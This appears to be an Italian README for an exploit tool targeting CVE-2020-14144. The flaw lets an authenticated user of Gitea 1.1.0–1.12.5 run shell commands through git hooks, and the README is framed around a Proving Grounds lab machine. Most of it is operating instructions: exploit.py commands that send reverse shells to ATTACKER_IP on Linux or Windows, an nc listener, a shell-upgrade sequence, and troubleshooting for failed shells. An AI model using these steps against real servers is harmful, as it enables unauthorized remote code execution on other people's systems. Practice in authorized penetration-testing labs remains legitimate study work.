
Le versioni di Gitea 1.1.0 → 1.12.5 consentono agli utenti autenticati con il permesso "May create git hooks" di iniettare comandi shell arbitrari negli hook post-receive. Il push di un commit attiva l'hook ed esegue il payload sul server.
| Voce | Dettaglio |
|---|
| Macchina | Roquefort (Proving Grounds Practice) |
| Sistema operativo | Linux |
| Versione Gitea | 1.7.5 |
| CVE | CVE-2020-14144 |
| Vettore | RCE autenticato tramite Git Hooks |
| Shell utente | chloe |
Le versioni di Gitea 1.1.0 → 1.12.5 consentono agli utenti autenticati con il permesso "May create git hooks" di iniettare comandi shell arbitrari negli hook post-receive. Il push di un commit attiva l'hook ed esegue il payload sul server.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
Vedi MANUAL.md per la guida dettagliata allo sfruttamento.
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests (pip install requests)git installato sulla macchina dell'attaccanteusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
Dopo aver ottenuto la reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| Problema | Soluzione |
|---|---|
fatal: dubious ownership | Clona da ~ invece che da cartelle condivise, oppure esegui git config --global --add safe.directory '*' |
| Nessuna connessione ricevuta | Verifica l'IP dell'attaccante, controlla il firewall, conferma che entrambe le macchine siano sulla stessa subnet |
| L'hook parte ma la shell non arriva | Testa prima con il payload touch /tmp/pwned — se il file appare, la reverse shell viene bloccata |
| Permesso negato sugli hook | L'utente non ha i permessi sugli hook — necessita di privilegi da admin o del permesso "May create git hooks" |
| Conflitto di porta su 3000 | Gitea usa la porta 3000 — utilizza una porta diversa, ad esempio 4444, per il tuo listener |
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e a scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale. Usalo in modo responsabile.